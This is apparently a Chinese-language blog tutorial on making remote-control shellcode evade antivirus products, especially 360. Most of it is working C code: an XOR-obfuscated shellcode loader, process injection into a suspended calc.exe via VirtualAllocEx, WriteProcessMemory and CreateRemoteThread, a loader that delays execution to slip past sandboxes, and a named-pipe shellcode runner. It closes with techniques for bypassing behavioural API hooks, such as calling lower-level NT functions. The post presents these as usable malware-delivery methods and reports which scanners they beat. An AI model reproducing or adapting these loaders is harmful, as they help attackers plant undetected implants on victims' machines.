也可以理解成shellcode混淆,將shellcode執行前進行各種加密,然後執行的時候進行解密。Xor就是一個例子。原理是先將加密後的shellcode寫入程式中,然後再在程式裏面寫入shellcode解密程式,這樣子將shellcode混淆後,特徵碼等各種數值就會改變,可以繞過大部分的靜態查殺,加密方法不限制,自己寫也是可以的。Exp:xor加密shellcode程式碼:
#include stdio.h
#define KEY 0x97 //進行互斥或的字元unsigned char buf[] = "shellcode";
int main(int argc, char* argv[]){
unsigned char c[sizeof(buf)]; //獲取shellcode長度
for (int i = 0; i < sizeof(buf)-1; i++) {
c[i] = buf[i] ^ KEY;//進行解密
printf("\\x%x",c[i]);
}
printf("\n");
return 0;
}
#include "windows.h"#include "stdio.h"#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//執行時不顯示視窗
#define KEY 0x97
char bufff[] = "shellcode";void main(){ unsigned char buff[sizeof(bufff)]; //獲取shellcode長度
for (int i = 0; i < sizeof(bufff) - 1; i++){
buff[i] = bufff[i] ^ KEY;//進行解密}
LPVOID Memory = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buff, sizeof(buff));
((void(*)())Memory)();
}
360無毒,因爲是tcp的鏈接,所以可以檢測到。
伺服器端也就是shellcode的儲存端會報毒, 不過沒關係,因爲伺服器端在我們攻擊者的主機上。
參考程式碼:實現:遠端載入shellcode實現分離免殺
#include Windows.h
#include stdio.h
#include "iostream"
//隱藏執行程式時的cmd視窗
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C語言格式的上線shellcode
unsigned char shellcode[] = "";
BOOL injection(){
wchar_t Cappname[MAX_PATH] = { 0 }; STARTUPINFO si; PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址設定爲自己shellcode陣列的起始地址
lpMalwareBaseAddr = shellcode;
//獲取系統路徑,拼接字串找到calc.exe的路徑
GetSystemDirectory(Cappname, MAX_PATH); lstrcat(Cappname, L"\\calc.exe");
//列印注入提示
// printf("被注入的程式名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//建立calc.exe進程
if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED
, NULL, NULL, &si, &pi) == 0) {
return bRet;
}
lpnewVictimBaseAddr=VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL) {
return bRet;
}
//遠端執行緒注入過程
WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0,0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess,&dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc){
// printf("%s:建立進程並將shellcode寫入進程記憶體\r\n", proc);
}
int main(int argc, char* argv[]){ help(argv[0]);
injection();
}
雖然還是有不少的查殺,但是可以過360
1.LoadLibrary() 和 GetProcAddress()
這兩個函數,一個是載入dll庫,一個是從已經載入的庫控制代碼裡拿出來某個函數的地址,可以理解成是把一個dll加到記憶體裡,然後獲取裏面某個函數的地址,得到這個地址後就可以直接呼叫了,這兩個簡單的函數經常用到,無論是常規呼叫還是靜態免殺都經常用。
2.OpenProcess()
根據進程id獲取進程的控制代碼,也就是獲取進程操控權。
3.VirtualAllocEx()
在指定進程裡開闢一塊記憶體,用於存放自己的程式碼和參數。
4.WriteProcessMemory()
3裏面的函數會在一個進程裡開闢一塊記憶體,然後在那個記憶體裡直接用本函數4進行數據寫入,就是在別人那開一塊記憶體然後寫自己的東西。
5.CreateRemoteThread()
最核心的函數,在指定進程的某個記憶體位置儲存的函數爲執行緒函數,啓動一個執行緒,當然被啓動的這個執行緒屬於指定的這個進程。
執行緒注入原理大概就是說我們通過一定的手段在宿主也就是需要被注入的進程那獲取許可權,得到許可權之後我們要在這個進程上開闢一定的記憶體,然後把自己的執行緒函數內容以及參數什麼的全都拷貝過去,這樣目標進程上有我們的函數,我們的參數。
我們這個時候只需要"幫"它啓動一下這個執行緒就OK了,直接用CreateRemoteThread函數在對方進程的某個記憶體位置的某個執行緒函數作爲執行緒函數啓動。
修改圖示等資源,效果比較差,利用的是Resource hacker工具,不推薦。
軟體加殼其實也就是軟體加密或者軟體壓縮,只是加密或者壓縮的方式不一樣。加殼幾乎可以繞過所有的特徵碼檢測,但是殼也有自己的特徵碼,所以需要自己去寫。通過加殼繞過殺軟原理還是繞過特徵碼檢測,需要很強的程式碼與逆向能力,這裏不做過多描述。
雖然很多檢測到了但是,,還是可以過360。
vt上顯示過360,但是剛360又查殺了,搞不懂。。
#include <Windows.h>
// 入口函數
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode長度
DWORD dwThreadId; // 執行緒ID
HANDLE hThread; // 執行緒控制代碼
DWORD dwOldProtect; // 記憶體頁屬性
/* length: 800 bytes */
unsigned char buf[] = "";
// 獲取shellcode大小
shellcode_size = sizeof(buf);
/* 增加互斥或程式碼 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 記憶體頁狀態
PAGE_EXECUTE_READWRITE // 可讀可寫可執行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申請可讀可寫
);
// 將shellcode複製到可讀可寫的記憶體頁中
CopyMemory(shellcode, buf, shellcode_size);
// 這裏開始更改它的屬性爲可執行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
// 等待幾秒,興許可以跳過某些沙盒呢?
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函數
NULL, // 參數
NULL, // 執行緒標誌
&dwThreadId // 執行緒ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待執行緒執行結束
return 0;
}
此項技術的核心在於,先申請了正常的可讀寫記憶體,停滯幾秒後,改變記憶體狀態爲可執行。
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
unsigned char buf[] = "";
LPCTSTR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 連線管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 記憶體頁屬性
HANDLE hThread;
DWORD dwThreadId;
// 參考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n", dwError);
return dwError;
}
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...\n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d \n", dwLen);
// 申請記憶體頁
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷貝記憶體
CopyMemory(pszShellcode, szBuffer, dwLen);
/*for (DWORD i = 0; i < dwLen; i++) {
Sleep(50);
_InterlockedXor8(pszShellcode + i, 10);
}*/
// 這裏開始更改它的屬性爲可執行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 執行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函數
NULL, // 參數
NULL, // 執行緒標誌
&dwThreadId // 執行緒ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
原理:建立一個子執行緒當命名管道當另一端也就是用戶端,用來傳輸shellcode,進程自己當伺服器端用來接收shellcode分配記憶體並執行。
防毒軟體現在都會有主防的功能,對惡意行爲進行攔截提示。比如這些行爲:註冊表操作,新增啓動項,新增服務檔案寫入、讀系統檔案、刪除檔案,移動檔案殺進程,建立進程注入、劫持等行爲攔截原理說白了,惡意行爲都是通過API呼叫來完成的,可能是一個API,可能是多個APi組合。殺軟通過技術手段攔截這些API呼叫,通過策略來判斷是否屬於惡意行爲。
關鍵點:
API
策略(順序,呼叫源,參數等等)
所以後面的方法就是針對這兩點做的工作。
如何進行行爲免殺呢?
- 替換api
使用相同功能的API進行替換,殺軟不可能攔截了所有API,所以這種方式還是有效的。比如MoveFileEx替換MoveFile。- 未導出api
尋找相同功能的未導出API進行替換,殺軟攔截一般是導出API,或者底層呼叫,尋找未導出API有一定效果。
尋找方法,通過分析目標API內部呼叫,找到內部一個或多個未導出API,來完成相同功能。- 重寫api
完全重寫系統API功能(通過逆向),實現自己的對應功能API,對於ring3的行爲攔截非常有效。比如實現MoveFile等。- api+5
ring3的API攔截通過是掛鉤API頭幾個位元組內容,然後進入殺軟自己函數進行參數檢查之類的。- 底層api
該方法類似於2和3,殺軟攔截API可能更加高層(語意更清楚),那就可以找更底層API進行呼叫,繞過攔截,比如使用NT函數。
或者通過DeviceIoControl呼叫驅動功能來完成API功能。
模擬系統呼叫。- 合理替換呼叫順序
有時攔截行爲是通過多個API組合來完成的,所以合理替換順序,繞過殺軟攔截策略,也可以繞過改行爲攔截。
比如,先建立服務,再將服務對應檔案拷貝過去。- 繞過呼叫源
通過呼叫其它進行功能來完成API的功能。比較經典的如,通過rundll32.exe來完成dll載入,通過COM來操作檔案等等。
參考資料:
那些shellcode免殺總結
遠控免殺第八篇shellcode免殺
遠控免殺從入門到實踐 (11) 終結篇
需要工具的可以直接搜尋下載,我已經上傳,不需要積分。